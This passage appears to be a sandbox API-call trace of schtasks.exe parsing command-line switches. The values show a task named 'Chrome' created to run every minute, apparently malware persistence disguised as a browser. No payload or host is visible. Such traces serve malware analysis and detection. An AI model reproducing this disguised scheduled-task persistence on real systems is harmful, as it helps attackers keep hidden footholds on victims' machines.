(lpString="|sc|") returned 4 [0055.434] SetLastError (dwErrCode=0x490) [0055.434] lstrlenW (lpString="p") returned 1 [0055.434] lstrlenW (lpString="p") returned 1 [0055.434] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.435] lstrlenW (lpString="sc") returned 2 [0055.435] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.435] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|p|") returned 3 [0055.435] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|sc|") returned 4 [0055.435] lstrlenW (lpString="|p|") returned 3 [0055.435] lstrlenW (lpString="|sc|") returned 4 [0055.435] SetLastError (dwErrCode=0x490) [0055.435] lstrlenW (lpString="ru") returned 2 [0055.435] lstrlenW (lpString="ru") returned 2 [0055.435] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.435] lstrlenW (lpString="sc") returned 2 [0055.435] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.435] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|ru|") returned 4 [0055.435] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|sc|") returned 4 [0055.435] lstrlenW (lpString="|ru|") returned 4 [0055.435] lstrlenW (lpString="|sc|") returned 4 [0055.435] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0055.435] SetLastError (dwErrCode=0x490) [0055.435] lstrlenW (lpString="rp") returned 2 [0055.435] lstrlenW (lpString="rp") returned 2 [0055.435] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.435] lstrlenW (lpString="sc") returned 2 [0055.435] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.435] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|rp|") returned 4 [0055.435] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|sc|") returned 4 [0055.435] lstrlenW (lpString="|rp|") returned 4 [0055.435] lstrlenW (lpString="|sc|") returned 4 [0055.435] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0055.435] SetLastError (dwErrCode=0x490) [0055.435] lstrlenW (lpString="sc") returned 2 [0055.435] lstrlenW (lpString="sc") returned 2 [0055.435] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.435] lstrlenW (lpString="sc") returned 2 [0055.436] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.436] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|sc|") returned 4 [0055.436] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|sc|") returned 4 [0055.436] lstrlenW (lpString="|sc|") returned 4 [0055.436] lstrlenW (lpString="|sc|") returned 4 [0055.436] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0055.436] SetLastError (dwErrCode=0x0) [0055.436] SetLastError (dwErrCode=0x0) [0055.436] lstrlenW (lpString="MINUTE") returned 6 [0055.436] lstrlenW (lpString="-/") returned 2 [0055.436] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0055.436] SetLastError (dwErrCode=0x490) [0055.436] SetLastError (dwErrCode=0x490) [0055.436] SetLastError (dwErrCode=0x0) [0055.436] lstrlenW (lpString="MINUTE") returned 6 [0055.436] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0055.436] SetLastError (dwErrCode=0x490) [0055.436] SetLastError (dwErrCode=0x0) [0055.436] _memicmp (_Buf1=0x1bd630, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.436] lstrlenW (lpString="MINUTE") returned 6 [0055.436] lstrlenW (lpString="MINUTE") returned 6 [0055.436] lstrlenW (lpString=" \x09") returned 2 [0055.436] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0055.436] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0055.436] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0055.436] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0055.436] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0055.436] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0055.436] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0055.436] GetLastError () returned 0x0 [0055.436] lstrlenW (lpString="MINUTE") returned 6 [0055.436] lstrlenW (lpString="MINUTE") returned 6 [0055.436] SetLastError (dwErrCode=0x0) [0055.437] SetLastError (dwErrCode=0x0) [0055.437] lstrlenW (lpString="/tn") returned 3 [0055.437] lstrlenW (lpString="-/") returned 2 [0055.437] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0055.437] lstrlenW (lpString="create") returned 6 [0055.437] lstrlenW (lpString="create") returned 6 [0055.437] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.437] lstrlenW (lpString="tn") returned 2 [0055.437] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.437] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|create|") returned 8 [0055.437] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.437] lstrlenW (lpString="|create|") returned 8 [0055.437] lstrlenW (lpString="|tn|") returned 4 [0055.437] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0055.437] SetLastError (dwErrCode=0x490) [0055.437] lstrlenW (lpString="?") returned 1 [0055.437] lstrlenW (lpString="?") returned 1 [0055.437] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.437] lstrlenW (lpString="tn") returned 2 [0055.437] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.437] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|?|") returned 3 [0055.437] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.437] lstrlenW (lpString="|?|") returned 3 [0055.437] lstrlenW (lpString="|tn|") returned 4 [0055.437] SetLastError (dwErrCode=0x490) [0055.437] lstrlenW (lpString="s") returned 1 [0055.437] lstrlenW (lpString="s") returned 1 [0055.437] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.437] lstrlenW (lpString="tn") returned 2 [0055.437] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.437] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|s|") returned 3 [0055.437] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.438] lstrlenW (lpString="|s|") returned 3 [0055.438] lstrlenW (lpString="|tn|") returned 4 [0055.438] SetLastError (dwErrCode=0x490) [0055.438] lstrlenW (lpString="u") returned 1 [0055.438] lstrlenW (lpString="u") returned 1 [0055.438] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.438] lstrlenW (lpString="tn") returned 2 [0055.438] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.438] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|u|") returned 3 [0055.438] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.438] lstrlenW (lpString="|u|") returned 3 [0055.438] lstrlenW (lpString="|tn|") returned 4 [0055.438] SetLastError (dwErrCode=0x490) [0055.438] lstrlenW (lpString="p") returned 1 [0055.438] lstrlenW (lpString="p") returned 1 [0055.438] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.438] lstrlenW (lpString="tn") returned 2 [0055.438] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.438] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|p|") returned 3 [0055.438] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.438] lstrlenW (lpString="|p|") returned 3 [0055.438] lstrlenW (lpString="|tn|") returned 4 [0055.438] SetLastError (dwErrCode=0x490) [0055.438] lstrlenW (lpString="ru") returned 2 [0055.438] lstrlenW (lpString="ru") returned 2 [0055.439] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.439] lstrlenW (lpString="tn") returned 2 [0055.439] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.439] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|ru|") returned 4 [0055.439] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.439] lstrlenW (lpString="|ru|") returned 4 [0055.439] lstrlenW (lpString="|tn|") returned 4 [0055.439] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0055.439] SetLastError (dwErrCode=0x490) [0055.439] lstrlenW (lpString="rp") returned 2 [0055.439] lstrlenW (lpString="rp") returned 2 [0055.439] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.439] lstrlenW (lpString="tn") returned 2 [0055.439] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.439] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|rp|") returned 4 [0055.439] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.439] lstrlenW (lpString="|rp|") returned 4 [0055.439] lstrlenW (lpString="|tn|") returned 4 [0055.439] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0055.439] SetLastError (dwErrCode=0x490) [0055.439] lstrlenW (lpString="sc") returned 2 [0055.439] lstrlenW (lpString="sc") returned 2 [0055.439] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.439] lstrlenW (lpString="tn") returned 2 [0055.439] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.439] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|sc|") returned 4 [0055.439] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.439] lstrlenW (lpString="|sc|") returned 4 [0055.439] lstrlenW (lpString="|tn|") returned 4 [0055.440] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0055.440] SetLastError (dwErrCode=0x490) [0055.440] lstrlenW (lpString="mo") returned 2 [0055.440] lstrlenW (lpString="mo") returned 2 [0055.440] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.440] lstrlenW (lpString="tn") returned 2 [0055.440] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.440] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|mo|") returned 4 [0055.440] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.440] lstrlenW (lpString="|mo|") returned 4 [0055.440] lstrlenW (lpString="|tn|") returned 4 [0055.440] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0055.440] SetLastError (dwErrCode=0x490) [0055.440] lstrlenW (lpString="d") returned 1 [0055.440] lstrlenW (lpString="d") returned 1 [0055.440] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.440] lstrlenW (lpString="tn") returned 2 [0055.440] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.440] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|d|") returned 3 [0055.440] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.440] lstrlenW (lpString="|d|") returned 3 [0055.440] lstrlenW (lpString="|tn|") returned 4 [0055.440] SetLastError (dwErrCode=0x490) [0055.440] lstrlenW (lpString="m") returned 1 [0055.440] lstrlenW (lpString="m") returned 1 [0055.440] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.440] lstrlenW (lpString="tn") returned 2 [0055.440] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.440] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|m|") returned 3 [0055.440] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.440] lstrlenW (lpString="|m|") returned 3 [0055.440] lstrlenW (lpString="|tn|") returned 4 [0055.441] SetLastError (dwErrCode=0x490) [0055.441] lstrlenW (lpString="i") returned 1 [0055.441] lstrlenW (lpString="i") returned 1 [0055.441] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.441] lstrlenW (lpString="tn") returned 2 [0055.441] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.441] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|i|") returned 3 [0055.441] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.441] lstrlenW (lpString="|i|") returned 3 [0055.441] lstrlenW (lpString="|tn|") returned 4 [0055.441] SetLastError (dwErrCode=0x490) [0055.441] lstrlenW (lpString="tn") returned 2 [0055.441] lstrlenW (lpString="tn") returned 2 [0055.441] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.441] lstrlenW (lpString="tn") returned 2 [0055.441] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.441] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.441] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.441] lstrlenW (lpString="|tn|") returned 4 [0055.441] lstrlenW (lpString="|tn|") returned 4 [0055.441] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0055.441] SetLastError (dwErrCode=0x0) [0055.441] SetLastError (dwErrCode=0x0) [0055.441] lstrlenW (lpString="Chrome") returned 6 [0055.441] lstrlenW (lpString="-/") returned 2 [0055.441] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0055.441] SetLastError (dwErrCode=0x490) [0055.441] SetLastError (dwErrCode=0x490) [0055.441] SetLastError (dwErrCode=0x0) [0055.441] lstrlenW (lpString="Chrome") returned 6 [0055.441] StrChrIW (lpStart="Chrome", wMatch=0x3a) returned 0x0 [0055.441] SetLastError (dwErrCode=0x490) [0055.441] SetLastError (dwErrCode=0x0) [0055.441] lstrlenW (lpString="Chrome") returned 6 [0055.441] SetLastError (dwErrCode=0x0) [0055.442] SetLastError (dwErrCode=0x0) [0055.442] lstrlenW (lpString="/tr") returned 3 [0055.442] lstrlenW (lpString="-/") returned 2 [0055.442] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0055.442] lstrlenW (lpString="create") returned 6 [0055.442] lstrlenW (lpString="create") returned 6 [0055.442] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.442] lstrlenW (lpString="tr") returned 2 [0055.442] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.442] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|create|") returned 8 [0055.442] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.442] lstrlenW (lpString="|create|") returned 8 [0055.442] lstrlenW (lpString="|tr|") returned 4 [0055.442] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0055.442] SetLastError (dwErrCode=0x490) [0055.442] lstrlenW (lpString="?") returned 1 [0055.442] lstrlenW (lpString="?") returned 1 [0055.442] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.442] lstrlenW (lpString="tr") returned 2 [0055.442] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.442] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|?|") returned 3 [0055.442] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.442] lstrlenW (lpString="|?|") returned 3 [0055.442] lstrlenW (lpString="|tr|") returned 4 [0055.442] SetLastError (dwErrCode=0x490) [0055.442] lstrlenW (lpString="s") returned 1 [0055.442] lstrlenW (lpString="s") returned 1 [0055.442] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.442] lstrlenW (lpString="tr") returned 2 [0055.442] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.442] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|s|") returned 3 [0055.442] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.443] lstrlenW (lpString="|s|") returned 3 [0055.443] lstrlenW (lpString="|tr|") returned 4 [0055.443] SetLastError (dwErrCode=0x490) [0055.443] lstrlenW (lpString="u") returned 1 [0055.443] lstrlenW (lpString="u") returned 1 [0055.443] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.443] lstrlenW (lpString="tr") returned 2 [0055.443] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.443] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|u|") returned 3 [0055.443] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.443] lstrlenW (lpString="|u|") returned 3 [0055.443] lstrlenW (lpString="|tr|") returned 4 [0055.443] SetLastError (dwErrCode=0x490) [0055.443] lstrlenW (lpString="p") returned 1 [0055.443] lstrlenW (lpString="p") returned 1 [0055.443] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.443] lstrlenW (lpString="tr") returned 2 [0055.443] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.443] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|p|") returned 3 [0055.443] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.443] lstrlenW (lpString="|p|") returned 3 [0055.443] lstrlenW (lpString="|tr|") returned 4 [0055.443] SetLastError (dwErrCode=0x490) [0055.443] lstrlenW (lpString="ru") returned 2 [0055.443] lstrlenW (lpString="ru") returned 2 [0055.443] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.443] lstrlenW (lpString="tr") returned 2 [0055.443] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.443] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|ru|") returned 4 [0055.443] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.443] lstrlenW (lpString="|ru|") returned 4 [0055.443] lstrlenW (lpString="|tr|") returned 4 [0055.443] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0055.444] SetLastError (dwErrCode=0x490) [0055.444] lstrlenW (lpString="rp") returned 2 [0055.444] lstrlenW (lpString="rp") returned 2 [0055.444] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.444] lstrlenW (lpString="tr") returned 2 [0055.444] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.444] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|rp|") returned 4 [0055.444] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.444] lstrlenW (lpString="|rp|") returned 4 [0055.444] lstrlenW (lpString="|tr|") returned 4 [0055.444] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0055.444] SetLastError (dwErrCode=0x490) [0055.444] lstrlenW (lpString="sc") returned 2 [0055.444] lstrlenW (lpString="sc") returned 2 [0055.444] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.444] lstrlenW (lpString="tr") returned 2 [0055.444] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.444] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|sc|") returned 4 [0055.444] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.444] lstrlenW (lpString="|sc|") returned 4 [0055.444] lstrlenW (lpString="|tr|") returned 4 [0055.444] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0055.444] SetLastError (dwErrCode=0x490) [0055.444] lstrlenW (lpString="mo") returned 2 [0055.444] lstrlenW (lpString="mo") returned 2 [0055.444] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.444] lstrlenW (lpString="tr") returned 2 [0055.444] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.444] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|mo|") returned 4 [0055.444] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.444] lstrlenW (lpString="|mo|") returned 4 [0055.444] lstrlenW (lpString="|tr|") returned 4 [0055.445] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0055.445] SetLastError (dwErrCode=0x490) [0055.445] lstrlenW (lpString="d") returned 1 [0055.445] lstrlenW (lpString="d") returned 1 [0055.445] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.445] lstrlenW (lpString="tr") returned 2 [0055.445] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.445] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|d|") returned 3 [0055.445] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.445] lstrlenW (lpString="|d|") returned 3 [0055.445] lstrlenW (lpString="|tr|") returned 4 [0055.445] SetLastError (dwErrCode=0x490) [0055.445] lstrlenW (lpString="m") returned 1 [0055.445] lstrlenW (lpString="m") returned 1 [0055.445] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.445] lstrlenW (lpString="tr") returned 2 [0055.445] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.445] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|m|") returned 3 [0055.445] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.445] lstrlenW (lpString="|m|") returned 3 [0055.445] lstrlenW (lpString="|tr|") returned 4 [0055.445] SetLastError (dwErrCode=0x490) [0055.445] lstrlenW (lpString="i") returned 1 [0055.445] lstrlenW (lpString="i") returned 1 [0055.445] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.445] lstrlenW (lpString="tr") returned 2 [0055.445] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.445] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|i|") returned 3 [0055.445] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.445] lstrlenW (lpString="|i|") returned 3 [0055.445] lstrlenW (lpString="|tr|") returned 4 [0055.445] SetLastError (dwErrCode=0x490) [0055.446] lstrlenW (lpString="tn") returned 2 [0055.446] lstrlenW (lpString="tn") returned 2 [0055.446] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.446] lstrlenW (lpString="tr") returned 2 [0055.446] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.446] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tn|") returned 4 [0055.446] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.446] lstrlenW (lpString="|tn|") returned 4 [0055.446] lstrlenW (lpString="|tr|") returned 4 [0055.446] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0055.446] SetLastError (dwErrCode=0x490) [0055.446] lstrlenW (lpString="tr") returned 2 [0055.446] lstrlenW (lpString="tr") returned 2 [0055.446] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.446] lstrlenW (lpString="tr") returned 2 [0055.446] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.446] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.446] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|tr|") returned 4 [0055.446] lstrlenW (lpString="|tr|") returned 4 [0055.446] lstrlenW (lpString="|tr|") returned 4 [0055.446] 